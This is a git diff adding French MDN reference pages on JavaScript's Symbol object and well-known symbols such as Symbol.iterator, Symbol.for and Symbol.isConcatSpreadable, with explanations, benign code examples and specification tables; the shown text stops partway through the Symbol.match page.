diff --git a/files/fr/web/javascript/reference/global_objects/symbol/@@toprimitive/index.html b/files/fr/web/javascript/reference/global_objects/symbol/@@toprimitive/index.html new file mode 100644 index 0000000000..0866e25fa6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/@@toprimitive/index.html @@ -0,0 +1,64 @@ +--- +title: 'Symbol.prototype[@@toPrimitive]' +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/@@toPrimitive +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/@@toPrimitive +--- +
{{JSRef}}
+ +

La méthode [@@toPrimitive]() permet de convertir un objet symbole en une valeur primitive.

+ +

Syntaxe

+ +
Symbol()[Symbol.toPrimitive](hint);
+
+ +

Valeur de retour

+ +

La valeur primitive de l'objet {{jsxref("Symbol")}} indiqué.

+ +

Description

+ +

La méthode [@@toPrimitive]() de {{jsxref("Symbol")}} renvoie la valeur primitive d'un objet Symbol (le résultat sera  donc un symbole au sens primitif). L'argument hint n'est pas utilisé.

+ +

Le moteur JavaScript appelle la méthode [@@toPrimitive]() afin de convertir un objet en une valeur primitive. Généralement, il n'est pas nécessaire d'appeler [@@toPrimitive]() car le moteur JavaScript l'appelle automatiquement lorsqu'il détecte un objet là où une valeur primitive est attendue.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.prototype-@@toprimitive', 'Symbol.prototype.@@toPrimitive')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.prototype-@@toprimitive', 'Symbol.prototype.@@toPrimitive')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.@@toPrimitive")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Symbol.toPrimitive")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/asynciterator/index.html b/files/fr/web/javascript/reference/global_objects/symbol/asynciterator/index.html new file mode 100644 index 0000000000..0d28cc276d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/asynciterator/index.html @@ -0,0 +1,82 @@ +--- +title: Symbol.asyncIterator +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/asyncIterator +tags: + - ECMAScript 2018 + - JavaScript + - Propriété + - Reference + - Symbole +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/asyncIterator +--- +
{{JSRef}}
+ +

Le symbole connu Symbol.asyncIterator définit l'itérateur asynchrone par défaut d'un objet. Si cette propriété est définie sur un objet, celui-ci est un itérable asynchrone et peut être utilisé avec une boucle for await...of.

+ + + +

{{js_property_attributes(0,0,0)}}

+ +

Description

+ +

Le symbole Symbol.asyncIterator est un symbole natif utilisé pour accéder à la méthode @@asyncIterator d'un objet. Pour qu'un objet soit un itérable asynchrone, il doit avoir une clé Symbol.asyncIterator.

+ +

Exemples

+ +

Itérable asynchrone personnalisé

+ +

Il est possible de définir son propre itérable en définissant la propriété [Symbol.asyncIterator] d'un objet :

+ +
const myAsyncIterable = new Object();
+myAsyncIterable[Symbol.asyncIterator] = async function*() {
+    yield "coucou";
+    yield "l'itération";
+    yield "asynchrone !";
+};
+
+(async () => {
+    for await (const x of myAsyncIterable) {
+        console.log(x);
+        // expected output:
+        //    "coucou"
+        //    "l'itération"
+        //    "asynchrone !"
+    }
+})();
+
+ +

Itérables asynchrones natifs

+ +

Il n'existe actuellement pas d'objets JavaScript natifs qui possèdent la clé [Symbol.asyncIterator] par défaut. Toutefois, les flux (Streams) WHATWG pourraient devenir les premiers objets natifs itérables asynchrones.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2018', '#sec-symbol.asynciterator', 'Symbol.asyncIterator')}}{{Spec2('ES2018')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{compat("javascript.builtins.Symbol.asyncIterator")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/symbol/description/index.html b/files/fr/web/javascript/reference/global_objects/symbol/description/index.html new file mode 100644 index 0000000000..c3a7d2d392 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/description/index.html @@ -0,0 +1,74 @@ +--- +title: Symbol.prototype.description +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/description +tags: + - JavaScript + - Propriété + - Prototype + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/description +--- +
{{JSRef}}
+ +

La propriété en lecture seule description est une chaîne de caractères qui renvoie la description optionnelle de l'objet {{jsxref("Symbol")}}.

+ +
{{EmbedInteractiveExample("pages/js/symbol-prototype-description.html")}}
+ + + +

Syntaxe

+ +
Symbol('maDescription').description;
+Symbol.iterator.description;
+Symbol.for('toto').description;
+
+ +

Description

+ +

Les objets {{jsxref("Symbol")}} peuvent être créés avec une description facultative qui peut être utilisée pour du débogage mais sans accéder au symbole. La propriété Symbol.prototype.description peut être utilisée afin de lire cette description. Cette propriété est différente de Symbol.prototype.toString() car elle ne contient pas la chaîne de caractères "Symbol()" autour de la description (voir les exemples qui suivent).

+ +

Exemples

+ +
Symbol('desc').toString();   // "Symbol(desc)"
+Symbol('desc').description;  // "desc"
+Symbol('').description;      // ""
+Symbol().description;        // undefined
+
+// symboles connus
+Symbol.iterator.toString();  // "Symbol(Symbol.iterator)"
+Symbol.iterator.description; // "Symbol.iterator"
+
+// symboles globaux
+Symbol.for('toto').toString();  // "Symbol(toto)"
+Symbol.for('toto').description; // "toto"
+
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationÉtat
Proposition pour Symbol.prototype.descriptionProposition de niveau 4
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.description")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/symbol/for/index.html b/files/fr/web/javascript/reference/global_objects/symbol/for/index.html new file mode 100644 index 0000000000..bb60102797 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/for/index.html @@ -0,0 +1,113 @@ +--- +title: Symbol.for() +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/for +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/for +--- +
{{JSRef}}
+ +

La méthode Symbol.for(clé) permet de chercher parmi les symboles existants enregistrés dans le registre global de l'environnement d'exécution. Si un symbole associé à la clé donnée existe, il est renvoyé par la fonction, sinon un nouveau symbole associé à cette clé est créé dans le registre.

+ +
{{EmbedInteractiveExample("pages/js/symbol-for.html")}}
+ + + +

Syntaxe

+ +
Symbol.for(clé);
+ +

Paramètres

+ +
+
clé
+
Une chaîne de caractères, obligatoire. La clé correspondant au symbole (également utilisée pour la description du symbole).
+
+ +

Valeur de retour

+ +

Un symbole existant s'il en a été trouvé un avec la clé fournie. Sinon, un nouveau symbole est créé puis renvoyé par la méthode.

+ +

Description

+ +

À la différence de Symbol(), la méthode Symbol.for() crée un symbole enregistré dans le registre global. Symbol.for() ne crée pas nécessairement un nouveau symbole pour chaque appel, elle vérifie d'abord si un symbole avec la clé donnée est d'ores et déjà présent dans le registre. Si c'est le cas, le symbole correspondant est renvoyé, sinon Symbol.for() crée un nouveau symbol global.

+ +

Registre global pour les symboles

+ +

Le registre global des symboles est une liste, initialement vide, dont les éléments ont la structure suivante :

+ + + + + + + + + + + + + + + + + +
Structure d'un enregistrement dans le registre global des symboles
Nom du champValeur
[[key]]Une chaîne de caractères représentant la clé pour identifier un symbole en particulier.
[[symbol]]Un symbole enregistré de façon globale.
+ +

Exemples

+ +
Symbol.for("toto"); // crée un nouveau symbole global
+Symbol.for("toto"); // renvoie le symbole déjà existant
+
+// Globalement on a un symbole par clé, localement non
+Symbol.for("machin") === Symbol.for("machin"); // true
+Symbol("machin") === Symbol("machin"); // false
+
+// La clé sert également de description
+var sym = Symbol.for("mario");
+sym.toString(); // "Symbol(mario)"
+
+ +

Afin d'éviter des conflits entre les clés des symboles globaux liés à votre application et les autres symboles potentiels (bibliothèques externes, etc...), il peut être judicieux de les préfixer :

+ +
Symbol.for("mdn.toto");
+Symbol.for("mdn.machin");
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.for', 'Symbol.for')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.for', 'Symbol.for')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.for")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Symbol.keyFor()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/hasinstance/index.html b/files/fr/web/javascript/reference/global_objects/symbol/hasinstance/index.html new file mode 100644 index 0000000000..5616d20bda --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/hasinstance/index.html @@ -0,0 +1,65 @@ +--- +title: Symbol.hasInstance +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/hasInstance +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance +--- +
{{JSRef}}
+ +

Le symbole « connu » Symbol.hasInstance est utilisé afin de déterminer si un objet constructeur reconnaît un objet comme une de ses instances. On peut donc adapter/personnaliser le comportement de l'opérateur {{jsxref("Opérateurs/instanceof", "instanceof")}} grâce à ce symbole.

+ +
{{EmbedInteractiveExample("pages/js/symbol-hasinstance.html")}}
+ + + +
{{js_property_attributes(0,0,0)}}
+ +

Exemples

+ +

On peut implémenter un comportement différent pour instanceof de cette façon :

+ +
class MonArray {
+  static [Symbol.hasInstance](instance) {
+    return Array.isArray(instance);
+  }
+}
+console.log([] instanceof MonArray); // true
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.hasinstance', 'Symbol.hasInstance')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.hasinstance', 'Symbol.hasInstance')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.hasInstance")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Opérateurs/instanceof", "instanceof")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/index.html b/files/fr/web/javascript/reference/global_objects/symbol/index.html new file mode 100644 index 0000000000..6a0451f87b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/index.html @@ -0,0 +1,229 @@ +--- +title: Symbol +slug: Web/JavaScript/Reference/Objets_globaux/Symbol +tags: + - ECMAScript 2015 + - JavaScript + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol +--- +
{{JSRef}}
+ +

Un symbole est un type de données primitif représentant une donnée unique et inchangeable qui peut être utilisée afin de représenter des identifiants pour des propriétés d'un objet. L'objet Symbol est un conteneur objet implicite pour le {{Glossary("Primitive", "type de données primitif")}} symbole.

+ +
{{EmbedInteractiveExample("pages/js/symbol-constructor.html")}}
+ + + +

Syntaxe

+ +
Symbol([description])
+ +

Paramètres

+ +
+
description {{optional_inline}}
+
Une chaîne de caractères optionnelle. Correspond à une description du symbole, elle peut être utile pour déboguer (mais pas pour accéder au symbole).
+
+ +

Description

+ +

Pour créer un nouveau symbole, il suffit d'appeler Symbol(), éventuellement avec une chaîne de caractère descriptive :

+ +
var sym1 = Symbol();
+var sym2 = Symbol("toto");
+var sym3 = Symbol("toto");
+
+ +

Le fragment de code ci-dessus permet de créer trois nouveaux symboles. On notera que l'instruction Symbol("toto") ne convertit pas la chaîne "toto" en un symbole. On crée bien un nouveau symbole pour chaque instruction ci-avant.

+ +
Symbol("toto") === Symbol("toto"); // false
+ +

La syntaxe suivante, utilisant l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}, entraînera une exception {{jsxref("TypeError")}}:

+ +
var sym = new Symbol(); // TypeError
+ +

Cela est fait pour empêcher d'écrire un conteneur (wrapper) explicite de Symbol plutôt qu'une nouvelle valeur, cela peut être surprenant car généralement, on peut créer des objets « autour » de types primitifs (par exemple avec new Boolean, new String et new Number).

+ +

Si on souhaite obtenir un object contenant un symbole, on pourra toujours utiliser la fonction Object() :

+ +
var sym = Symbol("toto");
+typeof sym;     // "symbol"
+var symObj = Object(sym);
+typeof symObj;  // "object"
+ +

Symboles partagés et registre global des symboles

+ +

La syntaxe manipulée ci-avant, utilisant la fonction Symbol(), ne crée pas un symbole global, disponible partout dans votre code. Pour créer des symboles qui soient disponibles pour différents fichiers et appartiennent à l'environnement global, il faut utiliser les méthodes {{jsxref("Symbol.for()")}} et {{jsxref("Symbol.keyFor()")}} afin de définir et de récupérer les symboles listés dans le registre global.

+ +

Trouver les propriétés identifiées par des symboles pour un objet

+ +

La méthode {{jsxref("Object.getOwnPropertySymbols()")}} renvoie un tableau de symboles, permettant ainsi de connaître les propriétés identifiées par un symbole pour un objet donné. À l'initialisation, un objet ne contient aucune propriété propre identifiée par un symbole, ce tableau sera donc vide jusqu'à ce qu'une propriété, identifiée par un symbole, lui soit ajoutée.

+ +

Les symboles et les conversions

+ +

Lorsqu'on utilise des mécanismes de conversion de types avec les symboles, on aura le comportement suivant :

+ +
    +
  • Lorsqu'on tente de convertir un symbole en un nombre, cela provoquera une exception {{jsxref("TypeError")}} (par exemple avec +sym ou sym | 0).
    • +
  • L'égalité faible permet d'obtenir true avec Object(sym) == sym.
    • +
  • Symbol("toto") + "truc" lève une exception {{jsxref("TypeError")}} (le symbole ne peut pas être converti en une chaîne de caractères), cela permet par exemple d'éviter de créer (sans s'en rendre compte) des noms de propriétés basés sur des symboles.
    • +
  • La méthode utilisant la conversion avec {{jsxref("String","String()")}} fonctionnera comme un appel à {{jsxref("Symbol.prototype.toString()")}}. En revanche, new String(sym) renverra une erreur.
    • +
+ +

Propriétés

+ +
+
Symbol.length
+
La propriété length dont la valeur est 0.
+
{{jsxref("Symbol.prototype")}}
+
Cette propriété représente le prototype du constructeur Symbol.
+
+ +

Symboles connus

+ +

En plus des symboles que vous pouvez créer, JavaScript possède certains symboles natifs représentant des aspects internes du langages qui, pour ECMAScript 5 et les versions précédentes, n'étaient pas exposées aux développeurs. Il est possible d'accéder à ces symboles en utilisant les propriétés suivantes :

+ +

Symboles d'itération

+ +
+
{{jsxref("Symbol.iterator")}}
+
Une méthode qui renvoie l'itérateur par défaut d'un objet. Ce symbole est utilisé par la boucle {{jsxref("Instructions/for...of","for...of")}}.
+
{{jsxref("Symbol.asyncIterator")}}
+
Une méthode qui renvoie l'itérateur asynchrone par défaut d'un objet. Ce symbole est utilisé par la boucle for await...of.
+
+ +

Symboles liés aux expressions rationnelles

+ +
+
{{jsxref("Symbol.match")}}
+
Une méthode qui fait correspondre une expression rationnelle avec une chaîne de caractères. Elle est aussi utilisée pour déterminer si un objet peut être utilisé comme une expression rationnelle.
+
{{jsxref("Symbol.matchAll")}}
+
Une méthode qui renvoie un itérateur permettant de parcourir l'ensemble des correspondances entre une chaîne de caractères et une expression rationnelle. Ce symbole est utilisé par {{jsxref("String.prototype.matchAll()")}}.
+
{{jsxref("Symbol.replace")}}
+
Une méthode qui remplace les sous-chaînes correspondantes dans une chaîne de caractères. Utilisée par {{jsxref("String.prototype.replace()")}}.
+
{{jsxref("Symbol.search")}}
+
Une méthode qui renvoie l'indice d'une chaîne de caractères pour lequel on a une correspondance avec une expression rationnelle. Utilisée par {{jsxref("String.prototype.search()")}}.
+
{{jsxref("Symbol.split")}}
+
Une méthode qui découpe la chaîne à l'indice donné par la correspondance avec une expression rationnelle. Utilisée par {{jsxref("String.prototype.split()")}}.
+
+ +

Autres symboles

+ +
+
{{jsxref("Symbol.hasInstance")}}
+
Une méthode qui permet de déterminer si un constructeur reconnaît un objet comme son instance. Utilisé par {{jsxref("Opérateurs/instanceof", "instanceof")}}.
+
{{jsxref("Symbol.isConcatSpreadable")}}
+
Une valeur booléenne qui indique si un objet devrait être réduit à la concaténation des éléments de son tableau via  {{jsxref("Array.prototype.concat()")}}.
+
{{jsxref("Symbol.unscopables")}}
+
Un objet dont les noms des propriétés propres et héritées sont exclues de l'objet associé lors de l'utilisation de with.
+
{{jsxref("Symbol.species")}}
+
Un constructeur utilisé pour construire des objets dérivés.
+
{{jsxref("Symbol.toPrimitive")}}
+
Spécifié comme @@toPrimitive. Une méthode qui convertit un objet en sa valeur primitive.
+
{{jsxref("Symbol.toStringTag")}}
+
Spécifié comme @@toStringTag. Une chaîne de caractères utilisée pour la description d'un objet. Ce symbole est utilisé par {{jsxref("Object.prototype.toString()")}}.
+
+ +

Méthodes

+ +
+
{{jsxref("Symbol.for()", "Symbol.for(key)")}}
+
Recherche parmi les symboles existants un symbole désigné par cette clé. S'il est trouvé, le symbole est renvoyé, sinon un nouveau symbole est créé et enregistré avec cette clé dans le registre global des symboles.
+
{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}
+
Pour un symbole donné, récupère la clé d'un symbole partagé depuis le registre global.
+
+ +

Prototype Symbol

+ +

Tous les symboles héritent de {{jsxref("Symbol.prototype")}}.

+ +

Propriétés

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Symbol/prototype','Propri.C3.A9t.C3.A9s')}}

+ +

Méthodes

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Symbol/prototype','M.C3.A9thodes')}}

+ +

Exemples

+ +

Utiliser l'opérateur typeof avec des symboles

+ +

L'opérateur {{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}} permet d'identifier des symboles :

+ +
typeof Symbol() === 'symbol'
+typeof Symbol('toto') === 'symbol'
+typeof Symbol.iterator === 'symbol'
+
+ +

Les symboles et les boucles for...in

+ +

Les symboles ne peuvent pas être énumérés dans les boucles for...in. De plus, la méthode {{jsxref("Object.getOwnPropertyNames()")}} ne renverra pas les propriétés identifiées par des symboles. La méthode {{jsxref("Object.getOwnPropertySymbols()")}} permet d'avoir accès à ces propriétés.

+ +
var obj = {};
+
+obj[Symbol("a")] = "a";
+obj[Symbol.for("b")] = "b";
+obj["c"] = "c";
+obj.d = "d";
+
+for (var i in obj) {
+   console.log(i); // enregistre "c" et "d"
+}
+ +

Les symboles et JSON.stringify()

+ +

Les propriétés identifiées par des symboles seront totalement ignorées par JSON.stringify():

+ +
JSON.stringify({[Symbol("toto")]: "toto"});
+// '{}'
+ +

Pour plus de détails, voir la page {{jsxref("JSON.stringify()")}}.

+ +

Utiliser les symboles enveloppés dans un objet

+ +

Lors qu'on on utilise un objet pour contenir la valeur du symbole et faire référence à une propriété, l'objet sera ramené au symbole d'origine :

+ +
var sym = Symbol("toto")
+var obj = {[sym]: 1};
+obj[sym];              // 1
+obj[Object(sym)];      // toujours 1
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol-objects', 'Symbol')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol-objects', 'Symbol')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/symbol/isconcatspreadable/index.html b/files/fr/web/javascript/reference/global_objects/symbol/isconcatspreadable/index.html new file mode 100644 index 0000000000..89046c2290 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/isconcatspreadable/index.html @@ -0,0 +1,110 @@ +--- +title: Symbol.isConcatSpreadable +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/isConcatSpreadable +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/isConcatSpreadable +--- +
{{JSRef}}
+ +

Le symbole connu Symbol.isConcatSpreadable est utilisé pour configurer la façon dont un tableau est aplati lors d'une concaténation via la méthode  {{jsxref("Array.prototype.concat()")}}.

+ +
{{EmbedInteractiveExample("pages/js/symbol-isconcatspreadable.html")}}
+ + + +

Description

+ +

Le symbole @@isConcatSpreadable (Symbol.isConcatSpreadable) peut être défini comme une propriété propre ou héritée. C'est une valeur booléenne qui contrôle le comportement des tableaux et des objets semblables à des tableaux :

+ +
    +
  • Pour les tableaux, concat aplatira les tableaux par défaut. Symbol.isConcatSpreadable peut être utilisé pour obtenir le comportement opposé.
    • +
  • Pour les objets semblables à des tableaux, par défaut, il n'y aucune mise à plat. Symbol.isConcatSpreadable permet de forcer cette mise à plat.
    • +
+ +

{{js_property_attributes(0,0,0)}}

+ +

Exemples

+ +

Tableaux (Array)

+ +

Par défaut, {{jsxref("Array.prototype.concat()")}} aplatit les tableaux pour le résultat de la concaténation :

+ +
var alpha = ['a', 'b', 'c'],
+    numérique = [1, 2, 3];
+
+var alphaNumérique = alpha.concat(numérique);
+
+console.log(alphaNumérique);
+// Résultat : ['a', 'b', 'c', 1, 2, 3]
+
+ +

En définissant Symbol.isConcatSpreadable avec false, on peut désactiver le comportement par défaut :

+ +
var alpha = ['a', 'b', 'c'],
+    numérique = [1, 2, 3];
+
+numérique[Symbol.isConcatSpreadable] = false;
+var alphaNumérique = alpha.concat(numérique);
+
+console.log(alphaNumérique);
+// Résultat: ['a', 'b', 'c', [1, 2, 3] ]
+
+ +

Objets semblables à des tableaux

+ +

Pour les objets semblables à un tableau, par défaut, il n'y a pas de fusion. Il faut donc que Symbol.isConcatSpreadable vaille true pour aplatir le tableau :

+ +
var x = [1, 2, 3];
+
+var fauxTableau = {
+  [Symbol.isConcatSpreadable]: true,
+  length: 2,
+  0: "coucou",
+  1: "monde"
+}
+
+x.concat(fauxTableau); // [1, 2, 3, "coucou", "monde"]
+
+ +
+

Note : La propriété length indique ici le nombre de propriétés à ajouter au tableau.

+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.isconcatspreadable', 'Symbol.isconcatspreadable')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.isconcatspreadable', 'Symbol.isconcatspreadable')}}{{Spec2('ESDraft')}}Aucune modification.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.isConcatSpreadable")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.concat()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/iterator/index.html b/files/fr/web/javascript/reference/global_objects/symbol/iterator/index.html new file mode 100644 index 0000000000..b2752e1efa --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/iterator/index.html @@ -0,0 +1,122 @@ +--- +title: Symbol.iterator +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/iterator +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/iterator +--- +
{{JSRef}}
+ +

Le symbole Symbol.iterator définit l'itérateur par défaut d'un objet. C'est l'itérateur qui sera utilisé par for...of.

+ +
{{EmbedInteractiveExample("pages/js/symbol-iterator.html")}}
+ + + +

Description

+ +

Lorsqu'on doit itérer sur un objet (par exemple avec une boucle for..of), sa méthode @@iterator est appelée sans argument et l'itérateur renvoyé par la méthode est utilisé pour récupérer les valeurs sur lesquelles itérer.

+ +

Certains types natifs possèdent un comportement par défaut pour l'itération, d'autres types (tels qu'{{jsxref("Object")}}) n'ont pas de tel comportement. Les types natifs qui disposent d'une méthode @@iterator sont :

+ +
    +
  • {{jsxref("Array.@@iterator", "Array.prototype[@@iterator]()")}}
    • +
  • {{jsxref("TypedArray.@@iterator", "TypedArray.prototype[@@iterator]()")}}
    • +
  • {{jsxref("String.@@iterator", "String.prototype[@@iterator]()")}}
    • +
  • {{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}
    • +
  • {{jsxref("Set.@@iterator", "Set.prototype[@@iterator]()")}}
    • +
+ +

Pour plus d'informations, voir aussi la page sur les protocoles d'itération.

+ +

{{js_property_attributes(0,0,0)}}

+ +

Exemples

+ +

Itérables définis par l'utilisateur

+ +

Il est possible de construire un itérable de la façon suivante :

+ +
var monItérable = {}
+monItérable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+[...monItérable] // [1, 2, 3]
+
+ +

On peut également définir ces itérables via des propriétés calculées dans des déclarations de classe ou dans des littéraux objets :

+ +
class Toto {
+  *[Symbol.iterator] () {
+    yield 1;
+    yield 2;
+    yield 3;
+  }
+}
+
+const monObj = {
+  *[Symbol.iterator] () {
+    yield "a";
+    yield "b";
+  }
+}
+
+[... new Toto] // [1, 2, 3]
+[... monObj]   // ["a", "b"]
+
+ +

Itérables mal-formés

+ +

Si la méthode @@iterator d'un itérable ne renvoie pas un itérateur, on dira que c'est un itérable mal-formé. Utiliser un tel itérable peut provoquer des erreurs lors de l'exécution :

+ +
var itérableMalFormé = {}
+itérableMalFormé[Symbol.iterator] = () => 1
+[...itérableMalFormé] // TypeError: [] is not a function
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.iterator', 'Symbol.iterator')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.iterator', 'Symbol.iterator')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.iterator")}}

+ +

Voir aussi

+ +
    +
  • Les protocoles d'itération
    • +
  • {{jsxref("Array.@@iterator", "Array.prototype[@@iterator]()")}}
    • +
  • {{jsxref("TypedArray.@@iterator", "TypedArray.prototype[@@iterator]()")}}
    • +
  • {{jsxref("String.@@iterator", "String.prototype[@@iterator]()")}}
    • +
  • {{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}
    • +
  • {{jsxref("Set.@@iterator", "Set.prototype[@@iterator]()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/keyfor/index.html b/files/fr/web/javascript/reference/global_objects/symbol/keyfor/index.html new file mode 100644 index 0000000000..ea2e095f88 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/keyfor/index.html @@ -0,0 +1,80 @@ +--- +title: Symbol.keyFor() +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/keyFor +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/keyFor +--- +
{{JSRef}}
+ +

La méthode Symbol.keyFor(sym) permet de récupérer la clé d'un symbole donné qui est partagé via le registre global des symboles.

+ +
{{EmbedInteractiveExample("pages/js/symbol-keyfor.html")}}
+ + + +

Syntaxe

+ +
Symbol.keyFor(sym);
+ +

Paramètres

+ +
+
sym
+
Le symbole dont on souhaite connaître la clé. Ce paramètre est obligatoire.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente la clé d'un symbole donné si celui-ci est trouvé dans le registre global ou {{jsxref("undefined")}} sinon.

+ +

Exemples

+ +
var symboleGlobal = Symbol.for("toto"); // on crée un symbole global
+Symbol.keyFor(symboleGlobal); // "toto"
+
+var symboleLocal = Symbol();
+Symbol.keyFor(symboleLocal); // undefined
+
+// les symboles connus ne sont pas dans le registre
+// global
+Symbol.keyFor(Symbol.iterator); // undefined
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-symbol.keyfor', 'Symbol.keyFor')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-symbol.keyfor', 'Symbol.keyFor')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Symbol.keyFor")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Symbol.for()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/symbol/match/index.html b/files/fr/web/javascript/reference/global_objects/symbol/match/index.html new file mode 100644 index 0000000000..74939e18fd --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/symbol/match/index.html @@ -0,0 +1,79 @@ +--- +title: Symbol.match +slug: Web/JavaScript/Reference/Objets_globaux/Symbol/match +tags: + - ECMAScript 2015 + - JavaScript + - Propriété + - Reference + - Symbol +translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/match +--- +
{{JSRef}}
+ +

Le symbole Symbol.match définit la correspondance d'une expression rationnelle par rapport à une chaîne de caractères. Cette fonction est appelée par la méthode {{jsxref("String.prototype.match()")}}.

+ +
{{EmbedInteractiveExample("pages/js/symbol-match.html")}}
+ + + +

Description

+ +

Cette fonction est également utilisée pour identifier les objets qui jouent un rôle avec les expressions rationnelles. Ainsi, les méthodes {{jsxref("String.prototype.startsWith()")}}, {{jsxref("String.prototype.endsWith()")}} et {{jsxref("String.prototype.includes()")}} vérifient si leur premier argument est une expression rationnelle et lèvent une exception {{jsxref("TypeError")}} si c'est le cas. Si le symbole match est modifié et vaut une valeur false (ou équivalente), cela indique que l'objet ne doit pas être utilisé comme une expression rationnelle.

+ +

{{js_property_attributes(0,0,0)}}

+ +

Exemples

+ +

Le code suivant renverra une exception {{jsxref("TypeError")}} :

+ +
"/truc/".startsWith(/truc/);
+
+// lève une TypeError car /truc/
+// est une expression rationnelle
+// et que Symbol.match n'a pas été modifié.
+ +

